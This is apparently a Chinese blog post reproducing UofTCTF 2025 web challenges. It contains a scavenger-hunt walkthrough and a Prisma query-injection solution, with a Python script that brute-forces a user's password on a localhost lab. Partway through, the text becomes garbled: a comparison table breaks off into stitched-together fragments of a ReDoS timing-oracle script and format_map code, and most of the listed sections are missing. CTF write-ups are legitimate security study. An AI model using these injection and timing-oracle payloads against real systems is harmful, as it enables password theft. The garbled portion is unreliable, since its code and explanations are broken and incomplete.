UofTCTF-2025-web-复现

06-01 1533阅读

感兴趣朋友可以去我博客里看,画风更好看

UofTCTF-2025-web-复现

文章目录

  • scavenger-hunt
  • prismatic-blogs
  • code-db
  • prepared-1
  • prepared-2
  • timeless

    scavenger-hunt

    国外的一些ctf简单题就喜欢把flag藏在注释里,开源代码找到第一部分的flag

    UofTCTF-2025-web-复现

    抓个包返回数据显示304,说明内容没有被更新,剩下的flag很有可能也是被藏起来了。

    开dirsearch扫一下,意外找到part4的flag

    UofTCTF-2025-web-复现

    去提示地址,拿到part6的flag(这里差点漏了一个细节,之前找信息时顺手把cookie里的guess改成了admin,要经过这步修改才能进到part6)

    UofTCTF-2025-web-复现

    同时在part6的cookie里还有part3的值

    UofTCTF-2025-web-复现

    正在想按顺序找的话part2会不会在网络里,结果在这偶遇part5

    UofTCTF-2025-web-复现

    发现一段可疑js代码,丢给grok分析一手,发现是主页面显示那段废话文字的,没啥用。

    UofTCTF-2025-web-复现

    剩下part2和part7没思路了,看看wp吧

    原来part7在这个路由里,当时看见了但感觉不太可能访问

    UofTCTF-2025-web-复现

    part2是在header里,即响应标头,在网络里(被part5带偏了)

    UofTCTF-2025-web-复现

    prismatic-blogs

    这道题有意思的地方是它是sqlite数据库,但是js的prsima库会将nosql查询语句自动解析为适配sqlite数据库的sql语句

    Prisma 的统一 API:

    • Prisma 的 where 条件语法与 MongoDB 类似(支持 AND、startsWith 等),即使底层是 SQLite。

    • 攻击者注入的查询(如 startsWith)被 Prisma 转换为 SQLite 的 LIKE,使得攻击行为类似于 NoSQL 注入。

      UofTCTF-2025-web-复现

      在posts页面可以插入查询语句,且没有任何过滤

      app.get(
        "/api/posts",
        async (req, res) => {
          try {
            let query = req.query;
            query.published = true;
            let posts = await prisma.post.findMany({where: query});
            res.json({success: true, posts})
          } catch (error) {
            res.json({ success: false, error });
          }
        }
      );
      

      我们需要做的就是在这里爆出登录密码(用户名都是已知的),接着去login路由登录即可拿到flag

      构造一手

      AND: [
      	author: {
      		password: {
      			startsWith: abcdefg
      		}
      	},
      	author: {
      		name: {
      			equals: Bob
      		}
      	}
      ]
      

      转换为url查询参数,AND[0]表示AND的第一个条件

      import requests
      import json
      s='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
      cha=''
      for i in range(25):
          for c in s:
              res=requests.get(f"http://localhost:70/api/posts?AND[0][author][name]=Bob&AND[0][author][password][startsWith]={cha+c}")
              if res.json().get('posts'):
                  cha+=c
                  print(cha)
      

      这里startsWith是不区分大小写的,所以在爆出密码后再用lt逻辑分出大小写即可,但单一的lt或lte比较不能确定大小写,因为如果前几个字符相等,那么长度短的字符会被认为是更小的。此时就会对我们的if判断产生影响。所以我们采取替换字符避免出现相等误判的现象

      我们假设逻辑是

      for j in cha:
          tmp+=chr(ord(j)+1)
      AND[1][author][password][lt]={tmp}
      

      假设比较到字符A

      构造密码串真实密码串逻辑
      A"query":query,"language":"All"}) np=time.time() return np-op def repla(query): return re.sub(r'([.*+?^${}()|[\]\\])',r'\\\1',query) flag="uoftctf{" while true: for i in tqdm(string.printable): tmp=repla(flag+i) payload=f"/^(?={tmp})(((((((((.*)*)*)*)*)*)*)*)*)!!!!!!!$/" if postdata(payload)0.8: flag+=i print(flag) break if flag.endswith("}"): break '__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k) })()) 有键则替换,无键则保留占位符 "name": "Alice", "age": 25} result = template.format_map(mapping) print(result) # 输出: Hello, Alice! You are 25 years old.
免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。

相关阅读

目录[+]

取消
微信二维码
微信二维码
支付宝二维码